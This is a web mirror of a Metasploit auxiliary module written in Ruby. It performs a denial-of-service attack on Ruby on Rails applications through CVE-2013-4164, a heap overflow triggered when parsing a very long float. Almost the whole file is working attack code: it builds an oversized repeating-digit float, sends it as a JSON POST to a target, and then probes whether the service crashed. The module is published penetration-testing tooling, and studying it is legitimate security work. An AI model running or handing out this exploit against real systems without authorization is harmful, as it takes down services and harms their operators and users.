Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/dos/http/rails_json_float_dos.rb
19566 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::HttpClient
8
include Msf::Auxiliary::Dos
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'Ruby on Rails JSON Processor Floating Point Heap Overflow DoS',
15
'Description' => %q{
16
When Ruby attempts to convert a string representation of a large floating point
17
decimal number to its floating point equivalent, a heap-based buffer overflow
18
can be triggered. This module has been tested successfully on a Ruby on Rails application
19
using Ruby version 1.9.3-p448 with WebRick and Thin web servers, where the Rails application
20
crashes with a segfault error. Other versions of Ruby are reported to be affected.
21
},
22
'Author' => [
23
'Charlie Somerville', # original discoverer
24
'joev', # bash PoC
25
'todb', # Metasploit module
26
],
27
'License' => MSF_LICENSE,
28
'References' => [
29
[ 'CVE', '2013-4164' ],
30
[ 'OSVDB', '100113' ],
31
[ 'URL', 'https://www.ruby-lang.org/en/news/2013/11/22/ruby-1-9-3-p484-is-released/' ]
32
],
33
'DisclosureDate' => '2013-11-22',
34
'Notes' => {
35
'Stability' => [CRASH_SERVICE_DOWN],
36
'SideEffects' => [],
37
'Reliability' => []
38
}
39
)
40
)
41
register_options(
42
[
43
OptString.new('TARGETURI', [false, 'The URL of the vulnerable Rails application', '/']),
44
OptString.new('HTTPVERB', [false, 'The HTTP verb to use', 'POST'])
45
]
46
)
47
end
48
49
def uri
50
normalize_uri(target_uri.path.to_s)
51
end
52
53
def verb
54
datastore['HTTPVERB'] || 'POST'
55
end
56
57
def digit_pattern
58
@digit_pattern ||= rand(10_000).to_s
59
end
60
61
def integer_part
62
digit_pattern
63
end
64
65
def multiplier
66
(500_000 * (1.0 / digit_pattern.size)).to_i
67
end
68
69
def fractional_part
70
digit_pattern * multiplier
71
end
72
73
# The evil_float seems to require some repeating element. Maybe
74
# it's just superstition, but straight up 300_002-lenth random
75
# numbers don't appear to trigger the vulnerability. Also, these are
76
# easier to produce, and slightly better than the static "1.1111..."
77
# for 300,000 decimal places.
78
def evil_float_string
79
[integer_part, fractional_part].join('.')
80
end
81
82
def run
83
print_status "Using digit pattern of #{digit_pattern} taken to #{multiplier} places"
84
sploit = '['
85
sploit << evil_float_string
86
sploit << ']'
87
print_status "Sending DoS HTTP#{datastore['SSL'] ? 'S' : ''} #{verb} request to #{uri}"
88
target_available = true
89
90
begin
91
res = send_request_cgi(
92
{
93
'method' => verb,
94
'uri' => uri,
95
'ctype' => 'application/json',
96
'data' => sploit
97
}
98
)
99
rescue ::Rex::ConnectionRefused
100
print_error 'Unable to connect. (Connection refused)'
101
target_available = false
102
rescue ::Rex::HostUnreachable
103
print_error 'Unable to connect. (Host unreachable)'
104
target_available = false
105
rescue ::Rex::ConnectionTimeout
106
print_error 'Unable to connect. (Timeout)'
107
target_available = false
108
end
109
110
return unless target_available
111
112
print_status 'Checking availability'
113
begin
114
res = send_request_cgi({
115
'method' => verb,
116
'uri' => uri,
117
'ctype' => 'application/json',
118
'data' => Rex::Text.rand_text_alpha(1..64).to_json
119
})
120
if res && res.body && !res.body.empty?
121
target_available = true
122
else
123
print_good "#{peer}#{uri} - DoS appears successful (No useful response from host)"
124
target_available = false
125
end
126
rescue ::Rex::ConnectionError, Errno::ECONNRESET
127
print_good 'DoS appears successful (Host unreachable)'
128
target_available = false
129
end
130
131
return unless target_available
132
133
print_error 'Target is still responsive, DoS was unsuccessful.'
134
end
135
end
136
137